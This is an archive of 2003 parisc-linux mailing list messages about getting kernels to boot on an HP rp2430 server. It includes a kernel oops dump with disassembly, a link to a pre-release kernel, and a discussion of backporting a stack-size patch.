LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00
processor                 system initialization      1C00


From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-paX on an rp2430
Date: Mon, 14 Jul 2003 20:45:02 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <47013C75-B62B-11D7-997E-0030656F07A2@esiee.fr>
References: <20030714182347.GC14114@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622595 27896 80.91.229.3 (22 Nov 2014 02:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 12:45:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1895482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 12:45:04 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 6ABB849BE9; Mon, 14 Jul 2003 20:45:03 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 012D349C46; Mon, 14 Jul 2003 20:45:02 +0200 (CEST)
In-Reply-To: <20030714182347.GC14114@systemhalted>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18927

Le lundi, 14 jul 2003, =E0 20:23 Europe/Paris, Carlos O'Donell a =E9crit =
:

>
> ********** VIRTUAL FRONT PANEL **********
> System Boot detected
> *****************************************
> LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
>        ON       FLASH         OFF       ON         ON
> LED State: There was a system interruption that did not take the=20
> system down.
> Check Chassis and Console Logs for error messages.
>
> processor                 system initialization      1C00
> processor                 system initialization      1C00

these two messages show that the kernel went up to calling INIT
(the second "system initialization" is sent just before INIT is called).

You can check the real logs by issuing the CL command in your GSP.
You'll find there the console log, without the VFP messages.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-paX on an rp2430
Date: Mon, 14 Jul 2003 14:49:13 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030714184913.GD14114@systemhalted>
References: <20030714182347.GC14114@systemhalted> <47013C75-B62B-11D7-997E-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622595 27897 80.91.229.3 (22 Nov 2014 02:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VAR?NE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 12:50:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5A08482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 12:50:21 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19c8Nt-0002OS-00; Mon, 14 Jul 2003 14:49:13 -0400
Content-Disposition: inline
In-Reply-To: <47013C75-B62B-11D7-997E-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18928

> >
> >processor                 system initialization      1C00
> >processor                 system initialization      1C00
> 
> these two messages show that the kernel went up to calling INIT
> (the second "system initialization" is sent just before INIT is called).
> 
> You can check the real logs by issuing the CL command in your GSP.
> You'll find there the console log, without the VFP messages.

What does this mean from the viewpoint of the boot process? Did the
kernel actually boot or just got stuck here?

c.



From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] oops with 2.4.20-pa10-UP on rp2430
Date: Mon, 14 Jul 2003 14:53:13 -0400
Lines: 152
Approved: news@gmane.org
Message-ID: <20030714185313.GE14114@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622595 27899 80.91.229.3 (22 Nov 2014 02:16:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 12:54:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 50980482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 12:54:20 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19c8Rm-0002a2-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 14:53:14 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (14% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18929

pa,

In an attempte to get a new rp2430 booting I tried the latest online
kernels without much success.

ftp://ftp.parisc-linux.org/kernels/a500

Booted 2.4.20-UP
Using teh dump-analyzer, but objdump on x86 complains a little about the
architecture... objdump: Can't disassemble for architecture UNKNOWN!,
which I'm assuming means I should probably be using a cross or
multi-arch binutils to do this?
---

IAOQ = 000000001011675c
Func: iosapic_set_irt_data, Off: c, Addr: 0x1011675c

GR0 = 0000000000000000

GR1 = 00000000103d2530
Func: __gp, Off: 1800, Addr: 0x103d2530

GR2 = 00000000101168ac
Func: iosapic_enable_irq, Off: 3c, Addr: 0x101168ac

GR3 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR4 = 0000000010054db8

GR5 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR6 = 00000000103c8690
Func: __stop___ksymtab, Off: 14840, Addr: 0x103c8690

GR7 = 00000000102ede58
Func: twist_table___0, Off: 4d0, Addr: 0x102ede58

GR8 = 0000000010452228
Func: IRQ_ports, Off: 428, Addr: 0x10452228

GR9 = 0000000004000000

GR10 = 00000000000243c8

GR11 = 00000000faf00012

GR12 = 000000000000ffff

GR13 = 0000000000013000

GR14 = 0000000000013000

GR15 = 0000000000013000

GR16 = 0000000000005000

GR17 = 0000000000013000

GR18 = 00000000000243c8

GR19 = 0000000000000000

GR20 = 00000000103d7530
Func: __gp, Off: 6800, Addr: 0x103d7530

GR21 = 0000000000000000

GR22 = 0000000010079200

GR23 = 00000000102ede58
Func: twist_table___0, Off: 4d0, Addr: 0x102ede58

GR24 = 0000000017a0d00c

GR25 = 0000000017a0d008

GR26 = 0000000010054db8

GR27 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR28 = 0000000000000060

GR29 = 0000000017a0d070

GR30 = 0000000017a0d080

GR31 = 0000000000000000

Kernel symbols on the stack:
[<0000000010153e44>]: Func: __alloc_pages, Off: 84, Addr: 0x10153e44
[<000000001010d714>]: Func: enable_irq, Off: 5c, Addr: 0x1010d714
[<000000001010e1e8>]: Func: request_irq, Off: 138, Addr: 0x1010e1e8
[<0000000010154118>]: Func: get_zeroed_page, Off: 58, Addr: 0x10154118
[<00000000101d6b40>]: Func: startup, Off: 580, Addr: 0x101d6b40
[<00000000101d84a4>]: Func: set_serial_info, Off: 404, Addr: 0x101d84a4
[<00000000101d8f84>]: Func: rs_ioctl, Off: 39c, Addr: 0x101d8f84
[<00000000101447d0>]: Func: handle_mm_fault, Off: 148, Addr: 0x101447d0
[<00000000101bdae4>]: Func: tty_ioctl, Off: 2f4, Addr: 0x101bdae4
[<00000000101272a4>]: Func: do_tiocgserial, Off: 44, Addr: 0x101272a4
[<00000000101715f4>]: Func: sys_ioctl, Off: bc, Addr: 0x101715f4
[<0000000010127648>]: Func: sys32_ioctl, Off: 140, Addr: 0x10127648
[<000000001015c150>]: Func: sys_open, Off: c0, Addr: 0x1015c150
[<0000000010171538>]: Func: sys_ioctl, Off: 0, Addr: 0x10171538
[<0000000010108df0>]: Func: syscall_exit, Off: 0, Addr: 0x10108df0
[<000000001010809c>]: Func: intr_restore, Off: 0, Addr: 0x1010809c
[<0000000010108b3c>]: Func: child_return, Off: 0, Addr: 0x10108b3c
[<000000001015bcbc>]: Func: dentry_open, Off: 9c, Addr: 0x1015bcbc
[<0000000010130d64>]: Func: call_console_drivers, Off: ec, Addr: 0x10130d64

Done.
---


Stack Dump:
 0000000017a0d080:  000000380804060e 00000000fffffff4 0000000010153e44 0000000000000000
 0000000017a0d060:  0000000000000802 00000000106fb6f8 0000000000000001 000000001033a150
 0000000017a0d040:  0000000000000000 000000001033a128 00000000103d0d30 0000000000007988
 0000000017a0d020:  0000000000000085 00000000103d0d30 0000000000000006 0000000600024a34
 0000000017a0d000:  000000001798a080 0000000000000000 000000001010d714 0000000017a0c000
 0000000017a0cfe0:  000000000000000f 00000000178e0000 00000000103d0d30 00000000103d0d30

Kernel addresses on the stack:
 [<0000000010153e44>]  [<000000001010d714>]  [<000000001010e1e8>]  [<0000000010154118>] 
 [<00000000101d6b40>]  [<00000000101d84a4>]  [<00000000101d8f84>]  [<00000000101447d0>] 
 [<00000000101bdae4>]  [<00000000101272a4>]  [<00000000101715f4>]  [<0000000010127648>] 
 [<000000001015c150>]  [<0000000010171538>]  [<0000000010108df0>]  [<000000001010809c>] 
 [<0000000010108b3c>]  [<000000001015bcbc>]  [<0000000010130d64>] 

Kernel Fault: Code=26 regs=0000000017a0d080 (Addr=0000000000000003)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000011000001110 Not tainted
r00-03  0000000000000000 00000000103d2530 00000000101168ac 00000000103d0d30
r04-07  0000000010054db8 00000000103d0d30 00000000103c8690 00000000102ede58
r08-11  0000000010452228 0000000004000000 00000000000243c8 00000000faf00012
r12-15  000000000000ffff 0000000000013000 0000000000013000 0000000000013000
r16-19  0000000000005000 0000000000013000 00000000000243c8 0000000000000000
r20-23  00000000103d7530 0000000000000000 0000000010079200 00000000102ede58
r24-27  0000000017a0d00c 0000000017a0d008 0000000010054db8 00000000103d0d30
r28-31  0000000000000060 0000000017a0d070 0000000017a0d080 0000000000000000
sr0-3   000000000000b980 000000000000b980 0000000000000000 000000000000b980
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001011675c 0000000010116760
 IIR: 0e661014    ISR: 0000000000000000  IOR: 0000000000000003
 CPU:        0   CR30: 0000000017a0c000 CR31: 0000000010420000
 ORIG_R28: 000000001015384c



From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] oops with 2.4.20-pa10-UP on rp2430
Date: Mon, 14 Jul 2003 15:15:45 -0400
Lines: 124
Approved: news@gmane.org
Message-ID: <20030714191545.GA10098@systemhalted>
References: <20030714185313.GE14114@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622596 27901 80.91.229.3 (22 Nov 2014 02:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 13:16:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B6657482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 13:16:51 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19c8nZ-0002pM-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 15:15:45 -0400
Content-Disposition: inline
In-Reply-To: <20030714185313.GE14114@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18930

> In an attempte to get a new rp2430 booting I tried the latest online
> kernels without much success.
> 
> ftp://ftp.parisc-linux.org/kernels/a500
> 
> Booted 2.4.20-UP
> Using teh dump-analyzer, but objdump on x86 complains a little about the
> architecture... objdump: Can't disassemble for architecture UNKNOWN!,
> which I'm assuming means I should probably be using a cross or
> multi-arch binutils to do this?
> ---

Using the correct binutils:


IAOQ = 000000001011675c
Func: iosapic_set_irt_data, Off: c, Addr: 0x1011675c
0000000010116750 <iosapic_set_irt_data>:
    10116750:	0f 50 10 d3 	ldd 8(,r26),r19
    10116754:	2b 60 30 00 	addil 1800,dp,%r1
    10116758:	34 15 00 00 	ldi 0,r21
    1011675c:	0e 66 10 14 	ldb 3(,r19),r20

GR0 = 0000000000000000

GR1 = 00000000103d2530
Func: __gp, Off: 1800, Addr: 0x103d2530

GR2 = 00000000101168ac
Func: iosapic_enable_irq, Off: 3c, Addr: 0x101168ac
    101168a0:	37 d9 3f 11 	ldo -78(sp),r25
    101168a4:	eb ff bd 4d 	b,l 10116750 <iosapic_set_irt_data>,%r2
    101168a8:	08 04 02 5a 	copy r4,r26
    101168ac:	08 05 02 5b 	copy r5,dp

GR3 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR4 = 0000000010054db8

GR5 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR6 = 00000000103c8690
Func: __stop___ksymtab, Off: 14840, Addr: 0x103c8690

GR7 = 00000000102ede58
Func: twist_table___0, Off: 4d0, Addr: 0x102ede58

GR8 = 0000000010452228
Func: IRQ_ports, Off: 428, Addr: 0x10452228

GR9 = 0000000004000000

GR10 = 00000000000243c8

GR11 = 00000000faf00012

GR12 = 000000000000ffff

GR13 = 0000000000013000

GR14 = 0000000000013000

GR15 = 0000000000013000

GR16 = 0000000000005000

GR17 = 0000000000013000

GR18 = 00000000000243c8

GR19 = 0000000000000000

GR20 = 00000000103d7530
Func: __gp, Off: 6800, Addr: 0x103d7530

GR21 = 0000000000000000

GR22 = 0000000010079200

GR23 = 00000000102ede58
Func: twist_table___0, Off: 4d0, Addr: 0x102ede58

GR24 = 0000000017a0d00c

GR25 = 0000000017a0d008

GR26 = 0000000010054db8

GR27 = 00000000103d0d30
Func: __gp, Off: 0, Addr: 0x103d0d30

GR28 = 0000000000000060

GR29 = 0000000017a0d070

GR30 = 0000000017a0d080

GR31 = 0000000000000000

Kernel symbols on the stack:
[<0000000010153e44>]: Func: __alloc_pages, Off: 84, Addr: 0x10153e44
[<000000001010d714>]: Func: enable_irq, Off: 5c, Addr: 0x1010d714
[<000000001010e1e8>]: Func: request_irq, Off: 138, Addr: 0x1010e1e8
[<0000000010154118>]: Func: get_zeroed_page, Off: 58, Addr: 0x10154118
[<00000000101d6b40>]: Func: startup, Off: 580, Addr: 0x101d6b40
[<00000000101d84a4>]: Func: set_serial_info, Off: 404, Addr: 0x101d84a4
[<00000000101d8f84>]: Func: rs_ioctl, Off: 39c, Addr: 0x101d8f84
[<00000000101447d0>]: Func: handle_mm_fault, Off: 148, Addr: 0x101447d0
[<00000000101bdae4>]: Func: tty_ioctl, Off: 2f4, Addr: 0x101bdae4
[<00000000101272a4>]: Func: do_tiocgserial, Off: 44, Addr: 0x101272a4
[<00000000101715f4>]: Func: sys_ioctl, Off: bc, Addr: 0x101715f4
[<0000000010127648>]: Func: sys32_ioctl, Off: 140, Addr: 0x10127648
[<000000001015c150>]: Func: sys_open, Off: c0, Addr: 0x1015c150
[<0000000010171538>]: Func: sys_ioctl, Off: 0, Addr: 0x10171538
[<0000000010108df0>]: Func: syscall_exit, Off: 0, Addr: 0x10108df0
[<000000001010809c>]: Func: intr_restore, Off: 0, Addr: 0x1010809c
[<0000000010108b3c>]: Func: child_return, Off: 0, Addr: 0x10108b3c
[<000000001015bcbc>]: Func: dentry_open, Off: 9c, Addr: 0x1015bcbc
[<0000000010130d64>]: Func: call_console_drivers, Off: ec, Addr: 0x10130d64

Done.


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: 14 Jul 2003 14:47:14 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1058212036.2966.13.camel@mulgrave>
References: <3F0BEA8300001164@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622596 27904 80.91.229.3 (22 Nov 2014 02:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 13:47:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0B224840
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 13:47:20 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h6EJlFI15031;
	Mon, 14 Jul 2003 15:47:15 -0400
In-Reply-To: <3F0BEA8300001164@ocpmta1.freegates.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18931

On Mon, 2003-07-14 at 05:48, Joel Soete wrote:
> I don' t remember the historical reason of this choice but do you think it
> is possible to back-port it into 2.4 (it will facilitate so much the merge
> with upstream?)

Well, I suppose, theoretically.

However, before we consider backporting, what I really need is for
people to test it.  Downward growing mappings may cause application
issues:  If you map to an unspecified address, you may be surprised to
discover that you can't expand the mapping upwards.  Of course, no
application should ever depend on being able to expand unspecified maps
in either direction, but you never know...

James







From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-paX on an rp2430
Date: Mon, 14 Jul 2003 13:48:24 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030714194824.GD23545@dsl2.external.hp.com>
References: <20030714182347.GC14114@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622596 27906 80.91.229.3 (22 Nov 2014 02:16:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 13:48:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 658FC4844; Mon, 14 Jul 2003 13:48:24 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030714182347.GC14114@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18932

On Mon, Jul 14, 2003 at 02:23:47PM -0400, Carlos O'Donell wrote:
> Has anyone tried testing the prebuilt kernels on newer machines?

sorry - I still build my own to test my own changes.

> I also tried a newer vmlinux-2.4.20-pa10-UP and the kernel oopses :(

i've uploaded a *PRE-RELEASE* 2.4.21-pa5.tgz to:
	ftp://ftp.parisc-linux.org/kernels/a500/2.4.21-pa5.tgz

This boots and runs on my a500-65 and recent rp2430s.

FYI, I used lifimage-2.4.20-pa35-20030513 which I think
came from the ESIEE web site. Should be available from ftp.p-l.o
as well.

grant


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.21-paX on an rp2430
Date: Mon, 14 Jul 2003 15:07:35 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20030714210735.GA27164@dsl2.external.hp.com>
References: <20030714182347.GC14114@systemhalted> <20030714194824.GD23545@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622597 27910 80.91.229.3 (22 Nov 2014 02:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 15:07:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 74E82482D; Mon, 14 Jul 2003 15:07:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030714194824.GD23545@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
